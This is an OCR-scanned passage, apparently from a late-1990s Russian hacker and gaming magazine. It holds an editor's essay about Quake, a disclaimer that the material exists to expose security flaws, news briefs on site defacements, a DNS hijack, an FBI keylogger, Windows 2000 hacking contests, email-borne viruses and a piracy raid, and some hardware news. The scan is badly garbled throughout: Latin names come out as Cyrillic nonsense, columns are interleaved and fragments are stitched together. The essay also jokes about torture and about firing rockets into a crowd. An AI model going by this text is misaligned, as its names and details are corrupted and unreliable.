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ГОБПУНЫ В МУПУЦЕЧСКИХ ШУНЕПЯХ 


М еня часто спрашивают, откуда такой ник — Со. От- 
вечаю. Как-то раз на службе мы читали газету, в кото- 
рой была статья под названием «Гоблины в милицейских ши- 
нелях» про наших коллег-негодяев. Название нам понрави- 
лось, и мы сразу начали звать друг друга «гоблинами», от- 
бросив прежнее наше наименование — «еринские упыри». 
Поскольку я был старшим, то меня звали «старшим гобли- 
ном». Так оно и прижилось. Оттуда же попало в игрушки. 

Не могу сказать, что я большой спец по компам. Как раз 
наоборот. Не могу сказать, что я игрок с бешеным стажем. 
Но вот в одна тысяча девятьсот девяносто шестом году на 
винт моего электронного болвана попала Игра под назва- 
нием ОиоакКе. По силе воздействия на мой неподготовленный 
рассудок это бессмертное творение компании 4 ЗоН\иаге 
далеко превзошло эффект хорошего удара бейсбольной би- 
той по затылку. 

Работал я тогда «сутки через трое», то есть сутки душил 
негодяев на работе (пытки, допросы, расстрелы — ну, сами 
знаете, как это у настоящих гоблинов бывает), а потом трое 
суток без устали сражался с монстрами. Биться толком не 
умел и учить меня было некому, поскольку только один мой 
старый друг (Сидор Лютый) разбирался в компьютерах, да и 
тот считал все игры напрасной тратой времени. 

Однако был я настойчив, как дятел, и терпелив, как сани- 
тар из дурдома. Безостановочная беготня и непрерывная 
| пальба почти сутками напролет давали увесистые плоды. Де- 

ло продвигалось леопардовым скоком. Но временами дохо- 
дило до клинических случаев. 
} Помню, стоял я как-то раз на Лиговском проспекте в Пи- 
} тере (сам я оттуда} и поджидал троллейбус. Напротив меня 
находилась трамвайная остановка, куда подкатил битком 
й набитый трамвай. Закрыв от меня остановку, он открыл две- 
| ри и высадил с обратной стороны всех пассажиров — види- 
| 


мо, дальше шел в парк. Затем плавно тронулся и отъехал. 
Глазам моим открылась стоящая плечом к плечу молчащая 
плотная толпа. Наметанный глаз тут же разбил толпу на сек- 
| тора, а тренированный мозг мгновенно принял верное ре- 
шение: ракету сюда, сюда и сюда — всем кранты!! Да-а... 
Еще и сейчас мне снятся отличные сны, в которых я мчусь 
по мрачным подземельям, творю расправу над местными 
бандформированиями монстров и навожу привычный кон- 
| ституционный порядок. Зачастую просыпаюсь в холодном 
поту, потому как монстры наседают, палец судорожно жмет 


на спусковой крючок, а гранат уже нет. Всякое бывает в этих 
замечательных снах. 

А потом появились новые возможности и начались сра- 
жения в сети. И оказалось, что ФиаКе — это совсем другая 
игра. Намного круче того, что казалось поначалу. А точ- 
нее — вообще круче всего. К сетевым битвам я был уже хо- 
рошо подготовлен и сразу показал неплохие результаты (да 
и сейчас нет-нет показываю). Сколько было загублено това- 
рищей, отобрано флагов и сдано в приемные пункты отор- 
ванных чужих голов — уже и не сосчитать. 

В ходе боев и походов углублялись познания и прирастал 
опыт. Была проштудирована масса литературы, обшарены 
самые дальние закоулки Интернета (не говоря уже о достой- 
ных посещения местах), просмотрено море демок боев. В 
финале были проведены беседы с опытнейшими мастерами, 
за что им отдельное спасибо. 

Отдавая дань мастерству и таланту ребят из 14 ЗоН\маге, 
игру я себе купил настоящую. Для меня это — живущий в 
моем компьютере параллельный мир, самодостаточный и 
цельный. В нем круто абсолютно все: и цвет, и сюжет, и му- 
зыка. Прошло уже три года, у меня за это время сменилось 
четыре компьютера, но ФиаКе по-прежнему безраздельно 
рулит на моем винте, со всеми продолжениями и прибамба- 
сами спокойно и по праву занимая ровно один гигабайт. По- 
тому как для хорошей вещи места жалеть нельзя. 

В конце концов мною было обнаружено, что ни одно пе- 
чатное издание не хвалит мою любимую игру так, как она 
того заслуживает. И тогда я решил все увиденное, услышан- 
ное, открытое и понятое сложить в кучу да изложить на бу- 
маге. Рокет лаунчер был поставлен в угол, и два пальца на- 
чали бойко тыкать по истертым клавишам. Результатом стали 
наставления по деайта!юсйр ОиакКе. 

А потом были другие игры, и было их много. Можно ска- 
зать, что ни одна из них не зацепила меня так, как первый 
Оуаке. Но, тем не менее, играть в них я очень люблю. И пи- 
сать про них люблю ничуть не меньше. Говорят, неплохо по- 
лучается. Есть надежда, что и дальше будет получаться не ху- 
же. 

К чему это я? Да к тому, что если ты хочешь, чтобы что-то 
было сделано как следует — делай это сам. Это — един- 
ственно правильный способ. 
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...Склад пиратского ПО находился на территории 
общества с ограниченной ответственностью «Ме- 
диа паблишинг». Под слащавым буржуйским назва- 
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...Ты, наверно, уже слышал 
когда-нибудь, что если на 
рабочем столе создать файл с 
именем, содержащим более 
200 символов, и разрешением 
не 54, а, к примеру, где-нибудь 
так 60 символов, то потом ты 
не сможешь стереть его через 
мастдай... придется в дос лезть. 
Все это происходит из-за 
ошибки засК оуеМо\.. Это все 
было предисловием к созданию 
очередного "убийцы"... 
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ЗападлостроенЧцЕ 
до Правипа поведеЕНЧЯ В 
ОБЩЕСТВЕННЫХ МеСТах | 
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им хочется, для собственного удовольствия, и 
журналистов, которые ОБЯЗАНЫ играть во 

За п Суаа всевозможный отстой, чтобы не умереть с голоду, 
интересуют в играх абсолютно разные вещи... 

54 Краткий обзор игрового свеЖака стр. 44 
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Изнанка 
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о прерывистости непреРывного 


Трепанация 
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Мясо, мясо, много мяса... 
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...Сохраняешься, делаешь свой ход, передаешь управление 
противнику, наблюдаешь, как он тебя громит, отпиваешь 
глоток-другой пивка для успокоения, загружаешь сохраненную 
игру, закуриваешь сигарету и начинаешь думать... 


Стр. 62 


Приятель, ты наверное заметил, что этот номер стал чуть 
потоньше. Не беспокойся, мы вовсе не собираемся худеть, 
бледнеть и, в конце концов, склеить ласты. Просто мы решили 
немного переделать некоторые рубрики и в следующем номере 
ты увидишь плоды наших великих страданий. 


Я АО АЛЬ 


Редакция напоминает, что вся информация, которую мы 


предоставляем, рассчитана прежде всего на то, чт обы 
показать различным компаниям и организациям на их 
ошибки в системах безопасности. 
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Вирус-стукач 

Новый вид сбора доказательств 
начнет практиковать ФБР — по- 
лицейские компьютерные виру- 
сы. Вирус ПИВТ — внедряется в 
компьютер злоумышленника и 
записывает все нажатия клавиш 
и содержание документов, при 
ближайшей возможности пере- 
давая их через Интернет секрет- 
ным службам. Предполагается, 
что это позволит засадить за ре- 
шетку террористов, распростра- 
нителей наркотиков и других 
преступников. Не совсем ясно, 
каким образом будут поступать 
антивирусные программы. Ведь 
удаление такого вируса — это 
фактически оказание сопротив- 
ления действиям полиции. На- 
верняка существуют особые сог- 
лашения, обязывающие программы 
не препятствовать действиям вир- 
‚уальной полиции. — И.П. 


Капец Хиппари! 

Не одна только Зутамес борется с 
взломщиками. Досталось и законной 
супруге президента Клинтона — Хил- 
лари, соответственно тоже Клинтон. 
Сия дама справедливо решила, что 
карьере ее мужа настал большой 
абзац и что больше он никаких вид- 
ных постов не займет, а ей, молодой 
и красивой, так пропадать негоже. 
Вот и надумала она поизбираться в 
тамошний Сенат, сенатором стать, 
значить. Для чего, как того требует 
сегодняшний момент, открыла сайт 
со стандартным для предвыборных 
компаний именем (\мими\и.ИмяГодВы- 
боров.ххх) — ммм. Нагу2000.огд. 
Сайт-то она открыла, да вот только 
«огда туда ломанулись юзвери, то 
„казалось, что сайт молчит еще да- 
же хуже, чем партизан. Хуже потому, 
что вместо Вагу2000.ога они сла- 
лись на уумиуи.Аагупо.сот — сайт, 
принадлежащий оппонентам сей 
особы. Ларчик, естественно, откры- 
вался просто — была «слегка» подчи- 
щена таблица РМ$. Делов-то чуть, 
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НИЫгу Аюпоипсез! Орептз бепме Ех рРюгабогу Сони ее 
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Мопоп Соттапаег? Шалость 
заключалась в том, что на сер- 
вак была выложена страничка, 
любезно сообщавшая, что 
группа, имеющая в своем сос- 
таве пять кракеров, заразила 
| вирусом ВЗгЗ файлы, доступ- 
ные на сервере Зутатес. 
Кракеры публично высмеяли 
Зутащес, заявив, что вирус гу- 
ляет по сетям Зутатес уже 
более двух месяцев. В ответ 
официальные лица компании 
ответили, что ничего экстраор- 
динарного не происходит. Все 
тип-топ. А все эти заявления 
есть флейм и пустобрехство. И 
для острастки натравили на 
СОмТЕВОт! пареньков ФБР. Пусть типа 

Раю Бу бету Наук __] доблестные копы теперь их по- 
зато какой эффект. ловят, да накажут с пристрас- 
Исполнителей сей гнусной акции, ко- тием. Так что не будите спящую со- 
нечно, не нашли, хозяева баку, а если разбудили, — так уж или 
ЫШагупо.сот сказали, что они вооб- по мордасам ей, или ноги делайте. 
ще люди не местные и знать ничего Ах 
не знают. Конфиги переправили, и 
все вошло в колею. Только вот на- 
долго ли® — А.К. 
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Канада страдает от Китая 
Любопытная намечается тенденция: 
если раньше у Штатов был более аг- 
рессивный соперник — наша люби- 
мая Родина, то теперь постепенно 
«Епету МотБег Опе» становится 
миллиардный Китай. 

Оно и понятно, людей у них много, 
надо же чем-то их занять. Не хочешь 
крестьянствовать — воруй секреты. 
И судя по шуму, который поднимает- 
ся с завидной регулярностью, китай- 
цы тырят у американцев секреты 
постоянно и с неослабевающим ус- 
пехом. 

Теперь вот две канадские компа- 
нии — [5Р-Везте! и МеБиа |мегпе! 
Зегисе$ «наезжают». Говорят, мол, 
нехорошие китайцы, «находящиеся в 
одном из офисов государственных 
учреждений в Пекине», осуществили 
атаку на их сети. Атака была вполне 
стандартной — «отказ в обслужива- 
нии» — «аета! оЁ зегмсе». 

Сия немилость Китая была обуслов- 
лена тем, что канадцы на своих сер- 
верах держат сайты, принадлежа- 
щие секте 
«Фалуньгун», с 
которой внутри 
Китая идет бес- 
пощадная и 


Отправпяйте всеХ в пЕСОЧНИЦУ 
В дни всеобщей паранойи по поводу 
приаттаченных к электронным пись- 
мам исполняемых файлов их зачас- 
тую стирают даже не глядя. А ведь 
есть способы посмотреть, что имен- 
но вам шлют друзья или враги. Фир- 
ма Ипап 5оН\аге выпустила прог- 
рамму-песочницу Зи ит Ме! 
Согрогате, в которой можно запус- 
кать подозрительные файлы. Они не 
смогут дотянутся до критических ре- 
сурсов компьютера и нанести 
ущерб, Запускать в Зии5 Ме! мож- 
но не только .ехе файлы, но и }ауа- 
апплеты и АсНуехХ. Правда, обычный 
антивирус при этом все равно необ- 
ходим. — И.П. 


Кракнутыц бутаг\ЕсР 
Неспокойно этим летом даже в Аме- 
рике. Говорят, кракеры пошаливают. 
По крайней мере так говорят сами 


кракеры. 


временами 

Е кровопролит- 
Эти милейшие ребята пошалили с — а. 
\еБ-узлом компании бутатес. На- . 
Канадцы в 


деюсь, никому не надо объяснять, 


борьбе выстоя- 
что выпускает Зутатес кроме р __ 


ли. Атаки отразили. Теперь вот взы- 
вают к общественному мнению. Мо- 
жет опасаются, что в следующий 
раз все их серваки точно накроются 
медным тазом® — А.К. 


Тайвань страдает ЕЩЕ СУПЬНЕЕ 
В далекие-далекие времена, когда 
еще никто не думал о звездных вой- 
нах, русский с китайцем были братья 
навек. Сейчас, конечно, многое из- 
менилось, но вот склонность китай- 
цев с кем-то дружить, а кому-то па- 
костить, похоже, остается неизмен- 
ной. 

Сегодня Китай пламенно «дружит» 
со всеми нами любимым Тайванем 
(конечно, на Тайване делают такую 
массу всякого отстоя, что зака- 
чаешься, но и хорошее железо де- 
лают там же. Как ни странно). 
Дружба эта проявляется в том, что 
сначала Китай чем-то гадит Тайва- 
ню, потом наоборот. Естественно, 
что и без кибер-войны теперь и па- 
кость не в пакость. 

На первой неделе августа первыми 
«пошалили» китайские товарищи. 
Они благополучно «уронили» офи- 
циальные правительственные сайты 
своего островного соседа. Взломали 
несколько серваков ради сущего 
пустяка — размещения проправи- 
тельственной информации. 

На следующий день тайваньские то- 
варищи, в свою очередь, начали ло- 
мать китайские правительственный 
сайты. Дабы разместить на них анти- 
китайскую информацию. Взломали и 
разместили. После чего все удовлет- 
ворились достигнутым эффектом и 
возню в песочнице закончили... — 
А.К. 


Фатапьная мобиупа 

Что и говорить, есть совершенно не- 
везучие чуваки. Одному из таких 
впаяли год тюрьмы... за разговор по 
сотовому телефону. Причем не спер- 
тому, а его собственному. Проблема 
была в том, что он им пользовался 
на борту британского самолета 
Виизп Ат\уиауз, совершавшего меж- 
дународный рейс. 28-летний рабо- 
чий-нефтяник Нейл Уайтхаус состав- 
лял на телефоне текстовое сообще- 
ние, чтобы отправить его по прибы- 
тии (речь идет об 5М5$-сервисе сетей 
С5$М). Прецедентов еще не было, 
такой случай в суде был первым. Ос- 
новной мотив обвинения — мобиль- 
ный телефон представлял смертель- 


ную угрозу для пассажиров и экипа- 
жа. Использование мобильных теле- 
фонов будет преследоваться в Гер- 
мании и США на том же уровне, что 
и терроризм. Уайтхаус не звонил по 
своему телефону, но во включенном 
состоянии аппарат всегда излучает 
радиоволны, которые могли вызвать 
взрыв или повлиять на работу нави- 
гационной системы самолета Воета 
737. Он оставил аппарат включен- 
ным, несмотря на предупреждение 
пилота и стюардессы. Была ли дей- 
ствительно опасность для пассажи- 
ров, сказать трудно. Но именно эта 
неопределенность пугает больше 
всего. Теперь придется сдерживать 
понты при полетах в самолетах. — 


ИП. 


Пупот-ПЮБИТЕПЬ 

Оно, конечно, сейчас лето, и новос- 
ти по телевизору смотреть некогда. 
Но это все же была достаточно из- 
рядная новость, и для тех, кто в тан- 
ке, напоминаю: не так давно случил- 
ся захват одним японцем самолета, 
сопровождавшийся гибелью одного 
из пилотов. 

Но во время всей этой бучи никто 
особо не распространялся о моти- 
вах. Мало ли на свете сумасшед- 
шихе Большинство решило, ну свих- 
нулся этот джап от работы, что в 
этом такого? Ничего таки особливо- 
го, за исключением того, что этот 
япошка на самом деле свихнулся, но 
не от слишком тяжелой работы, а от 
авиационных симуляторов. 

Дядя долго и с удовольствием летал 
на компьютерных тренажерах, а по- 
том «захотел попробовать на нас- 
тоящем самолете». Только вот «поиг- 
рать» сей любитель захотел на тяже- 
лом пассажирском реактивном лай- 
нере и не где-нибудь, а практически 
над самым центром Токио. 

Не знаю, что за наказание его ждет, 
но лично я бы такому «Спиди-гонщи- 
ку» закатил бы такой срок, при кото- 
ром он на самом деле сумел бы 
поиграть в старости на 100% реа- 
листичном симуляторе. Я думаю, лет 
этак через 10-20 это будет вполне 
осуществимо... — А.К. 


Выгодное ДЕПЬЦЕ 

Хакерам, занимающимся перехва- 
том онлайновых транзакций, есть 
чем поживиться. По данным компа- 
нии АсНуеМеа, средняя величина 
онлайновой транзакции в Интернете 
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составляет 4600 долларов. Основ- 
ные пики приходятся на отрезки от 
100 до 500 долларов и от 1000 до 
10 000 долларов. При этом, естес- 
твенно, транзакций между компания- 
ми гораздо больше, чем между ком- 
панией и клиентом. — И.П. 


Мошеннику-2000 


Дело Остапа О. Бендера живет и 
побеждает в Канаде. В преддверии 
2000 года народ напуган и нервни- 
чает по любому поводу. На этом и 
сыграла компания МССР (МаНопа! 
СтедН Сага РгофесНоп), предлагав- 
шая прислать комплект средств для 
защиты кредитных карточек. Защита 
заключалась в обычных наклейках, 
которые, как утверждалось, не дадут 
карточкам «умереть» на пороге но- 
вого тысячелетия. Федеральная тор- 
говая комиссия, конечно, прикрыла 
лавочку и согласилась выплатить 106 
тысяч долларов. Этот случай мошен- 
ничества уже не первый. Правда, это 
первый случай, по которому ФТК бу- 
дет выплачивать компенсацию. — 
ИП. 


ХУ9ЕЙ с попьзой 

Помнится, я писал про гениальную 
идею установить \\/еБ-терминалы в 
лифте, но та идея меркнет по срав- 
нению с этой. Поставить Сетевые 
терминалы в фитнесс-центрах. Так 
мало того, оказывается, эта идея 
уже давно и весьма плодотворно ре- 
шается. В Штатах сейчас это уже 
стало повсеместной модой, скорее 
даже не модой, а правилом. 

Теперь ожиревшие от гамбургеров и 
кока-колы буржуи могут растрясать 
свои дряблые телеса на тренажерах 
параллельно путешествуя по У\еБ’у. 
Дабы хоть как-то сократить затраты 
на такое не самое дешевое новов- 
ведение, создатели этой системы 
придумали вполне кулибинский ход. 
Питание монитора осуществляется . 
посредством самого тренажера. Т.е. 
пока педали крутишь — монитор го- 
рит. Прекратил качать железо — 
все, погас, начинай педалировать 
снова. © 

Сие нововведение было встречено 
на ура вечно занятыми «бизнесмена- 
ми», которые теперь могут одновре- 
менно повышать свой физический 
уровень и отсылать электронную 
почту. Интересно, а что они приду- 
мают для экономии времени в сле- 
дующий раз — автоматически запры- 
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гивающую в рот сосиску или ММеБ- 
шлемак для сна? — А.К. 


ЕБау торгует крадЕНЫм 

Сайт электронных аукционов для 
всех желающих \/\/\и.еБау.сот стал 
удобным пристанищем для тех, кто 
сбывает краденое. Двое американ- 
цев (30 и 31 год) скоро предстанут 
перед судом за то, что они продали 
краденных из супермаркетов вещей 
на 20 тыс. долларов. Компания ЕБау 
тут же выложила следствию всю из- 
вестную ей информацию о преступ- 
никах. Анонимность сделки и конку- 
рентные цены привлекают не только 
преступников, но и массу халявщи- 
ков. — И.П. 


МЛпдошв 2000 - 


то на новеНЬкого? 
\УМпао\м$ (во всех ее проявлениях) 
всегда славилась особой подвер- 
женностью атакам хакеров. Но те- 
перь Билл Гейтс решил дать отпор 
непрошеным гостям. Он настолько 
уверен в себе, что подключил к Сети 
компьютер с 115, работающий под 
управлением бета-версии новой 
операционной системы \/тао\$ 
2000 и призвал всех желающих 
взломать ммеБ-узел. Простые методы, 
типа перегрузки сервера большим 
количеством запросов, не катят (сер- 
вер не будет защищен с помощью 
Вгемуа!). Правилами разрешается 
взломать канал пользовательского 
доступа; внести изменения в какой- 
либо элемент, доступ к которому из- 
вне закрыт; скопировать с узла что- 
либо, не предназначенное для этого, 
и все в таком роде. Правда, первые 

‚аги сайта под \/тадо\мз 2000 были 
весьма неудачными. Сразу после от- 
крытия у посетителей возникли проб- 
лемы с просмотром страниц — иног- 
да они просто не открывались. Сог- 
ласно |о9-файлу сервер даже приш- 
лось перегрузить, потому что ряд 
сервисов были на этот момент уже 
недоступны. Чуть позднее сервер 
был вообще недоступен, что пред- 
ставители МсгозоЯ объяснили гро- 
зой и проблемой со спутником. Врут, 
небось, как обычно. 
Одновременно с этим был начат 
конкурс и среди линуксоидов — они 
предлагают сломать Ипих для 
Ро\мегРС (МпихРРС). В отличие от 
МусгозоН предлагается награда — 
первый, кто сломает сайт, получит 


«сломанный» им компьютер. Дерзай- 
те и сообщайте нам о своих попыт- 
ках. — И.П. 


СЕГОДНЯШНИЙ полчтиуческий 


МОМЕНТ 

В нашей стране недавно случился 
очередной стабилизец. Я полагаю, 
все в курсе. Но это, в общем-то, не 
главное. Самое главное то, что в 
дни таких кризисов начинает стреми- 
тельно расти активность в Сети. И 
на сей раз было достаточно точно 
зафиксировано несколько показате- 
лей, которые далеко не свойственны 
обычному буднему дню. 

Во первых, возрос интерес практи- 
чески ко все источникам, публикую- 
щим последнюю информацию о по- 
литических и экономических собы- 
тиях. Прежде всего это сервер аген- 
тства «РосБизнесКонсалтинг» 

(Ммм. Бс.ги) и, что также не удиви- 
тельно, крупнейший русский инфор- 
мационный сервер — пюАн 

(Ммими танго). 

Очень естественным 
выглядит рекорд сер- 
вера КВС. Вообще, 
нужно заметить, что в 
РуНете, к сожалению, нет второго 
такого авторитетного источника фи- 
нансовой информации. Т.е. нет кон- 
куренции, т.е., в случае чего, нам мо- 
гут спокойно вешать лапшу на уши. 
Тем не менее, в самый кризисный 
день на ууу. Бс.ги паслись более 
200000 уникальных пользователей. 
Совершенно понятно, что людей 
прежде всего интересовали текущие 
новости и вся инфа, связанная с кур- 
сом наших лучших друзей — амери- 
канских президентов, мило взираю- 
щих на нас с зеленых американских 
рублей. 

ИнфоАрт также поставил в поне- 
дельник, 9-го, рекорд. С помощью 
рейтинга 1000$1аг$ 
(БНр://1000.51агз.ги) считается ин- 
декс ИнфоАрт — пюАн |тегпе! 
|пдех (1а) — своеобразный показа- 
тель активности пользователей в 
|тегпе{. Естественно, что индекс об- 
считывает прежде всего русскоязыч- 
ные сайты и, соответственно, актив- 
ность, всех нас, любимых. Короче — 
впервые за два года своего сущес- 
твования была превышена отметка в 
900 пунктов. (Любопытно будет пог- 
лядеть, а что же должно случиться, 
чтобы взять планку в 1 Килопункт?). 
— А.К. 
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НЕ читадтЕ почту в Оу оок 
Вирусы и троянцы, заражающие ком- 
пьютеры лишь при прочтении (1) элек- 
тронного письма, стали реальнос- 
тью. Злоумышленнику достаточно 
прислать сообщение в НТМ!-форма- 
те, направляющее браузер на УУеБ- 
страницу, с которой на жесткий диск 
клиентского компьютера будет заг- 
ружен вирус. Естественно, что по- 
добная атака возможно и при обыч- 
ном просмотре страниц браузером. 
Ее суть в том, что браузер без пред- 
варительного уведомления пользо- 
вателя загружает документы в фор- 
матах \У\ога, Ехсе| и Ромегрой. А 
те, в свою очередь, могут исполнять 
деструктивный код. Антивирусные 
программы при таких атаках бес- 
сильны. Представители М!сгозой на- 
перегонки бросились исправлять 
ошибку. О реальных атаках, исполь- 
зующих новую дыру в безопасности, 
пока неизвестно. — И.П. 


Стукачам - 15% 

Чтобы хоть как-то простимулировать 
компании, производящие ПО крип- 
тозащиты, раскрывать спецслужбам 
алгоритмы шифровки, член палаты 
представителей конгресса США 
Портрер Госс предложил выплачи- 
вать им компенсацию. 15% льгот при 
уплате налогов получат те, кто пре- 
доставит государству секретный 
ключ от своей программы. Аргумен- 
тируется это тем, что организован- 
ная преступность успешно исполь- 
зует средства шифрования для защи- 
ты своих преступных секретов. Прав- 
да, смысл этой акции несколько те- 
ряется, так как всегда найдется тот, 
кто откажется от льготы и зарабо- 
тает на этом шаге гораздо больше 
денег. В Британии законы о шифро- 
вании гораздо жестче американских. 
Если английская компания откажется 
предоставить секретные ключи и ал- 
горитмы расшифровки, ее хозяева 
рискуют получить до двух лет тюрь- 
мы. В новом проекте Закона об 
электронных коммуникациях даже 
предусматривается наказание до 5 
лет тюрьмы за предупреждение от- 
правителя письма о том, что его 
письма читаются спецслужбами. — 
И.П. 


СЕТЕВОЙ ПК. ВозрождеНУЕР 

В бытность свою компания Огасе и 
лично ее шеф Ларри Эллисон (Ёаггу 
Езоп) весьма ратовали за новое 
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поколение ПК — сетевой 
компьютер — Ме!РС. Бы- 
ло много разговоров, но 
мало дела. Тухлая была 
идея. 
Но, похоже, что эта идея 
стала вновь популярна. 
Гела | Огасе сейчас занята 
разработкой очередной 
версии Ме!РС ценой до 150 долл. (без монитора. 
Монитор — еще прибавьте 100 баксов]. Это будет 
бездисковая машина на базе процессора !те|. Из 
софта поставят ОСЬ Ипих и браузер Ме саре 
Мамдаюг. 
Лично мне эта идея очень напоминает объявления 
осени прошлого года: «Специальное антикризисное 
предложение. Только у нас. Только сейчас. Отменная 
партия барахла по сниженным, только для лохов, це- 
нам». Хотя... лохов-то всегда хватает. — А.К. 


Крупная операция МВД против пиратов 
Сотрудники Управления по борьбе с 
преступлениями в сфере высоких тех- 


$ нологий МВД России провели самую 
не. крупную в истории борьбы с компью- 
я терным пиратством в России опера- 


ция по пресечению деятельности 
распространителей «пиратского» 
программного обеспечения. Со 
склада, расположенного в Москве на улице Энгельса 
и известного в «пиратских» кругах под именем «Ма- 
росейка», было изъято более 400 тыс. компакт-дис- 
ков, содержавших «пиратские» копии программных 
продуктов компаний М'сгозоН, Зутащес, АмоВезК, 
Неснопю Ай, ЗОМУ Сотрщег Еменаттет+, 
Аснмюп, СТ |тегасНУе и других, и полиграфия к ним. 
Эксперты, производившие осмотр, оценили коммер- 
ческую стоимость изъятой продукции в | миллион 
долларов. Что-то маловато. Неужели на каждом дис- 
ке было записано программ на 2.5 доллара? Плохо 
работаете, товарищи эксперты. Позднее конфиско- 
ванные диски были уничтожены. Х присутствовал на 
этой акции, все подробности в рубрике «Х-Керой». — 
И.П. 
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Кража со взпомом 

Давно известно, что самые надежные шифровальные 
методы ненадежны, если отсутствует дисциплина или 
если хакеры выбрали, скажем, не совсем обычный 
способ взлома. Из офиса территориального агентств 
федерального управления по делам Владивостока о 
несостоятельности украдены сейф и компьютер, в ко- 
тором, как заявляют власти, хранилась «ценная ин- 
формация». Компьютер был свистнут прямо из каби- 
нета директора. Утверждается, что это делалось для 
того, чтобы замести следы незаконных коммерческих 
сделок. Аналогичная кража была совершена в зда- 
нии арбитражного суда: из приемной председателя 
суда исчез компьютер с базой данных. Как говорится, 
против лома нет приема. — И.П. 
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У пана ринит оБЫГрывает Зип отеда) 


Магнитооптика, по моему скромному мнению, не прижилась в Рос- 
сии. Стоит вот зипарь у меня внешний — так я его и пользую. А все 
эти хухры-мухры с дисководами внутренними да дискетками — они яв- 
но не катят. Вот, положим, в редакции одного любимого мною жур- 
нала стоят исключительно зипари. Магнитооптикой —и не пахнет. 
Рози вот качает головой, чувствует, ситуацию изменить нельзя. 
Поэтому, не суясь на рынок 1ВМ-совместимых, выходит на рынок 
Мас аж с четырьмя внешними магнитооптическими девайсами: 
РупоМО 1300ГЕ, ВупаМО 640ЕЕ, ВРупаМО 640158, ВупаМО 
640А|. По порядку. 

1300:Е —магнитооптическое устройство, подключается по 1ЕЕЕ 
1394 (у Арре вообще довольно странные порядки —то сидюки в 
разные цвета покрасят, то ноутбуки в цвет оранж выпускают, то ши- 
ну, там, или порты обзовут непонятно), позволяет записывать на 
трех-с половиной дюймовый МО-диск до 1.3 гигабайта. Вся фишка в 
Аге\\/те —горячее подключение. Прямо во время работы МасО$ 
можно подключить дисковод, не боясь при этом спалить последний 
порт. Стоит 1300РЕЕ в районе 549 бенджаминов франклинов. 
РупаМО 640ЕЕ —та же фигня, только записывает информации при- 
мерно как на компакт —не более 640 мегов. Тот же Рге\\те, под- 
‹лючение по |ЕЕЕ1 394. Ну и стоимость соответствующая —400 бука- 
зоидов. Появятся оба девайса в октябре (чувствую, урожайный бу- 
дет месяц —на него много чего назначено). 

РупаМО 64015$В —единственный мостик между маком и персонал- 
кой с запущенными виндами. Универсальная на то и универсальная, 
чтобы соединять. Как вы уже догадались, это устройство подклю- 
чается по 0$В и записывает до 640 Мб на один-единственный диск. 
Никаким Аге\\те здесь уже и не пахнет. А нам этого и не надо —це- 
на-то всего $349, да и выйдет он уже к тому времени, как вы будете 
читать этот номер. 

РупаМО 640А! —некий наборчик, связанный с АТАР!. Что-то очень 
профессиональное, в чем я не слишком секу (а мне и не положено — 
иначе бы занимал место Черешева :), впрочем, кому надо —тот раз- 
берется. Странный девайс появится в сентябре по цене 299 долла- 
ров. 

Кстати, на прошедшем Масуой4 фирма ЦМАХ представляла сканер 
с тем же интерфейсом —Рге\Мте. Ох уж эти яблочники, надеюсь, не 
вернемся мы в начало 80-х, чтоб опять в мире Маки рулили... 


С прискорБчЕм Упопномочен заявчть... 


Тргознта$ег. Склоним головы наши грешные над моги- 
лой отличной фирмы (бывшей, друзья, бывшей!) по производ- 
ству очумелых джойстиков с форс, как сейчас помню, фид- 
бэком и спецпроизведением для авиасимуляторов. Каждая 
игра имела честь похвастать в опциях выбора типа управления па- 
рой-тройкой моделей от Тпгиз!тазег, даже знаменитый МесН\иагйог 
2 (со всеми паками и Титаниумом). Каждый юзер с уважением приоб- 
ретал относительно дешевую модель нового джойстика с новыми 
функциями для очередного Мортального Комбата или Е-22 На тта 
1/2/3. А ведь фирма старая, уважаемая —аж с 1990 года сущес- 
тву... существовала. 

Все, ребята, теперь многоуважаемую фирму (даже Мокрый Софт, точ- 
нее, его хардовый отдел по производству джойстиков, фактически не мог 
конкурировать со Трастмастерскими джойстиками) купила Сието!, ко- 
торая только и делает, что производит звуковые платы да ускорителина = — 
самых известных чипах всего за 15 миллионов сами-знаете-чего. Авотк 
примеру, другой производитель девайсов управления —1одНесй —за 
прошлый год аж 558 миллионов зеленых заработал... | 
Остатки Тбгизнтазег резко переименовываются во что-то другое и | 
занимаются разработкой новых решений для мультимедийного Ин- яц 
тернета. Все. Шапки прочь. ( 


Мониторы по цЕНЕ 
СРЕДНЕГО нОЧТБУКа 


В последнее время фирмы-хардмейкеры опа- 
саются анонсировать продукты по одному, а 
выдают нам на-гора сразу два очередных ре- 
шения. В основном, это происходит в целях 
угодить одновременно и бедным инженерам 
(для этого представляют дешевые модели, ли- 
шенные доброй половины функций оригинала), 
и богатеньким буратинам, которым так необ- 
ходимо поиметь новую разработку у себя в 
офисе. 

В прошлом номере такую разработку пред- 
ставляла [ехтагкК (с двумя принтерами), а сей- 
час, радостно улыбаясь во все 32 бита, МЕС 
показывает нам издали два жидкокристалли- 
ческих монитора. Оба они выдерживают раз- 
решение 1024х768, но, к примеру, 1(С01525М 
использует пятнадцатидюймовую ТЕТ матрицу 
и имеет четырехпортовый концентратор ЦВ и 
два динамика; а второй ((СО1510+) обладает 
технологией Хна\Ме\, которая позволяет пово- 
рачивать экран (не сам монитор, а экран!), что, 
в свою очередь, позволяет рассматривать 
изображение под углом 80 градусов (не по 
Цельсию и не спирта). 

Самое забавное во всем этом —цены. 
1С01525М стоит 1299 зеленых президентов, а 
[С01510+ —аж 1599. Полагаю, оффтопик 
очередного выпуска новостей я напишу под - 
влиянием цен на продукты технологических 
прорывов —на тему «Самый дорогой компью- 
тер». 
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ТЕПЕфон ака покапка 


ЛВС на основе телефонных линий нам Брил- у 
лианты (в шестом Хакере}, тогда еще свобод- 
ные, предлагали. Тогда они обращались к 
стандарту Ноте РНопейпе Меммогкта АШапсе, 
а сегодня (точнее, 27 июля) эти НотеРМА же- 
лезно (это у меня такой маленький каламбур- 
чик с рубрикой) постановили: стандарту быть. 
Состоит он в поддержке своего рода локалки, 
но через телефонную сеть. Скорость достаточ- 
ная — 1ОМбит/сек. Но, главное, обозвали его 
НотеРМА Зрес 2.0 

Собственно, сие выросло из далекого (весна `98) 
стандарта, поддерживающего 1 Мбит/сек и на- 
зываемого, что вполне угадываемо, НотеРМА 
Зрес 1.0. Главная фишка в том, что на провода 
тратиться не надо, подключаются чуть ли не все 
устройства, и, главное, телефон при этом оказы- 
вается НЕ ЗАНЯТ! К тому же менеджер АМО 
клятвенно заверил, что стандарт жутко понра- 
вился его фирме и поддерживаться он ихними 
разработками будет и все такое. А вот здесь я 
